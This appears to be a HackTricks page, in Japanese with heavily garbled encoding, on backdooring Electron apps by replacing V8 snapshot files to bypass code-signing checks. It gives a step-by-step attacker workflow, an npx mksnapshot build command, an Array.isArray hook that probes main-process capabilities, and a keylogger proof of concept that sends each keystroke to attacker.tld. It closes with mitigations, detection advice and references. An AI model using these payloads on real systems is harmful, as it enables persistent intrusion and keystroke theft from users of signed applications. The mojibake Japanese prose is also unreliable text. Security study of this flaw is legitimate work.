- Effect: é »ç¹ã«äœ¿çšããã builtinïŒãgadgetãïŒãäžæžãããããšã§ä»»æã® isolate å ã§æ»æè ã® JavaScript ã確å®ã«å®è¡ã§ããæç¶åãšã³ãŒãçœ²åæ€èšŒã®åé¿ãå¯èœã«ãªããŸãã
- Affected surface: (fuses ãæå¹ã§ã) Electron ã¢ããªãšããŠãŒã¶æžã蟌ã¿å¯èœãªå Žæããã¹ãããã·ã§ãããèªã¿èŸŒã Chromium ããŒã¹ã®ãã©ãŠã¶ã
Generating a malicious snapshot without building Chromium
- äºåã«ãã«ãããã electron/mksnapshot ã䜿ã£ãŠ payload JS ã snapshot ã«ã³ã³ãã€ã«ããã¢ããªã±ãŒã·ã§ã³ã® v8_context_snapshot.bin ãäžæžãããŸãã
Example minimal payload (prove execution by forcing a crash)
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applicationâs v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
Isolate-aware payload routing (run different code in main vs. renderer)
- Main process detection: ã¡ã€ã³ããã»ã¹ã®æ€åº: Node å°çšã®ã°ããŒãã«ïŒprocess.pidãprocess.binding()ãprocess.dlopen ãªã©ïŒãã¡ã€ã³ããã»ã¹ã® isolate ã«ååšããŸãã
- Browser/renderer detection: ãã©ãŠã¶/ã¬ã³ãã©ãŒã®æ€åº: ãã©ãŠã¶å°çšã®ã°ããŒãã«ïŒalert ãªã©ïŒã¯ document ã³ã³ããã¹ãã§å®è¡ãããŠãããšãã«å©çšå¯èœã§ãã
Example gadget that probes main-process Node capabilities once
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
Renderer/ãã©ãŠã¶ã³ã³ããã¹ãã®ããŒã¿çªå PoCïŒäŸ: SlackïŒ
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
Operator workflow
- payload.js ãäœæããŸããå ±éã®çµã¿èŸŒã¿ïŒäŸ: Array.isArrayïŒãäžæžãããå¿ èŠã«å¿ã㊠isolate ããšã«åå²ãããŸãã
- Chromium ãœãŒã¹ã䜿ããã« snapshot ããã«ãããŸã:
- npx -y electron-mksnapshot@37.2.6 â/abs/path/to/payload.jsâ
- ã¿ãŒã²ããã¢ããªã±ãŒã·ã§ã³ã® snapshot ãã¡ã€ã«ãäžæžãããŸã:
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
- ã¢ããªã±ãŒã·ã§ã³ãèµ·åããŸããéžæããçµã¿èŸŒã¿ã䜿ããããã³ã«ã¬ãžã§ãããå®è¡ãããŸãã
Notes and considerations
- Integrity/signature bypass: Snapshot ãã¡ã€ã«ã¯ã³ãŒã眲åã®ãã§ãã¯ã§ãã€ãã£ãå®è¡ãã¡ã€ã«ãšããŠæ±ããããïŒæŽå²çã«ïŒElectron ã® fuses ã Chromium ã®æŽåæ§å¶åŸ¡ã®å¯Ÿè±¡å€ã§ããã
- Persistence: ãŠãŒã¶ãŒæžã蟌ã¿å¯èœãªã€ã³ã¹ããŒã«ã«ãã snapshot ã眮ãæãããšãéåžžã¢ããªã®åèµ·åããŸããã§æç¶ããçœ²åæžã¿ã®æ£åœãªã¢ããªã®ããã«èŠããŸãã
- Chromium browsers: åãæ¹ããã®æŠå¿µã¯ããŠãŒã¶ãŒæžã蟌ã¿å¯èœãªå Žæã«ã€ã³ã¹ããŒã«ããã Chrome/掟çãã©ãŠã¶ã«ãåœãŠã¯ãŸããŸããChrome ã«ã¯ä»ã®æŽåæ§ç·©åçããããŸãããç©ççã«ããŒã«ã«ãªæ»æãè åšã¢ãã«ããæç€ºçã«é€å€ããŠããŸãã
Detection and mitigations
- Snapshot ãå®è¡å¯èœã³ã³ãã³ããšããŠæ±ããæŽåæ§åŒ·å¶ã«å«ããïŒCVE-2025-55305 fixïŒã
- 管çè ã®ã¿æžã蟌ã¿å¯èœãªã€ã³ã¹ããŒã«å Žæãåªå ãã; v8_context_snapshot.bin ãš browser_v8_context_snapshot.bin ã®ããã·ã¥ãããŒã¹ã©ã€ã³åããŠç£èŠããã
- æ©æã©ã³ã¿ã€ã ã§ã®çµã¿èŸŒã¿ã®äžæžãïŒbuiltin clobberingïŒãäºæããªã snapshot ã®å€æŽãæ€åºããããã·ãªã¢ã©ã€ãºããã snapshot ãæåŸ å€ãšäžèŽããªãå Žåã«ã¢ã©ãŒããåºãã
References
- Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more
- Electron fuses
- Electron ASAR integrity
- V8 custom startup snapshots
- electron/mksnapshot
- MITRE ATT&CK T1218.015
- Loki C2
- Chromium: Disable loading of unsigned code (CIG)
- Chrome security FAQ: physically local attacks out of scope
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- More researches and write-ups about Electron security in https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyxâzq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


